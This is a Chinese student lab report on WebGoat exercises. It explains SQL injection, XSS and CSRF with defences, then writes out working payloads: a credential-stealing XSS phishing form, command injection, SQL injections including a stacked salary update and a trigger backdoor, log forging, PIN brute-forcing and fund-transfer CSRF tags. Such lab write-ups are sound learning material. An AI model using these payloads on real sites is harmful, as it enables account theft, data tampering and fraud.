标签:实现 利用 命令 command 收获 post请求 csrf 引用 关于
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
开启webgoat,首先要下载java包,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器上访问localhost:8080/WebGoat
,登录。
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
在code
框中输入<script>alert("I am 20155227gyl");</script>
title
里随便输入,然后在message
中输入一串代码,比如:<script>alert("5227!");</script>
提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功!Firebug
对源代码进行修改,例如在BackDoors.help旁边加上& netstat -an & ipconfig
view
,可以看到命令被执行,出现系统网络连接情况:SQL注入
使得可以看见所有数据。station
字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station
中的任意一个值后面加入一个1=1
,由于1=1为永真式,选择所修改的value
所指向的城市,就可以得到所有的天气。这道题大概意思是说,我们输入的用户名会被追加到日志文件中。所以我们可以使用障眼法来使用户名为“admin”
的用户在日志中显示“成功登录”,例如在User Name
文本框中输入gyl%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符:
boss
。‘ or 1=1
--进行SQL注入
,但是登录失败。larry
,浏览其BOSS
的账户信息。首先我们用上一题的办法登录Larry
的账号!在密码框里输入‘ or 1=1 --
,登录后发现我们只能看见Larry
一个人的工资信息。ViewProfile
.在网页代码中分析一下这个按钮,发现这个地方是以员工ID
作为索引传递参数的,我们要达到通过Larry
来浏览老板账户信息的目的,把其中的value
值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:SQL注入
让所有的信用卡号都看得见。WHERE
是否成立都能执行,所以构造语句‘or 1=‘1
,成功得到了全部的信用卡号。pins
表中值pin
的内容,行号cc_number=1111222233334444
,是一个int型
的数据。BurpSuite
进行拦截,拦截后action--send to intruder
进行暴力破解,使用sniper
模式,选择10000
进行数字爆破(选择前先clear
将默认的爆破点清除),从1到10000,步长为1。可以发现2364
的报文长度明显和其他不一样,那这个值就应该就是2364
:101; update employee set salary=10000
成功将该用户的工资变成10000
,攻击成功:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20155227@hackme.com‘ WHERE userid = NEW.userid
URL
诱使其他用户点击,从而触发CSRF攻击
,我们可以以图片的的形式将URL
放进Message框
,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF
事件。Screen和menu
的值:然后在message
里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=转账金额"/>
就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF
攻击的目的。
提交后生成一个链接20155227
Parameters中的src和menu值
,并在title
框中输入学号,message
框中输入代码:<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
进入确认转账请求页面:点击CONFIRM
按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM
,成功转走了5000元:
本次实验真的很艰难呀,主要是之前环境一直不对,尝试了很久之后才决定直接拷一个虚拟机。开始实验之后发现本次实验的内容全是英文,真的很崩溃……但是通过在Webgoat
上的实践,我学会了SQL注入攻击
、XSS攻击
和CSRF攻击
的一些小套路,也算小有收获吧。
标签:实现 利用 命令 command 收获 post请求 csrf 引用 关于
原文地址:https://www.cnblogs.com/guyanlin/p/9066641.html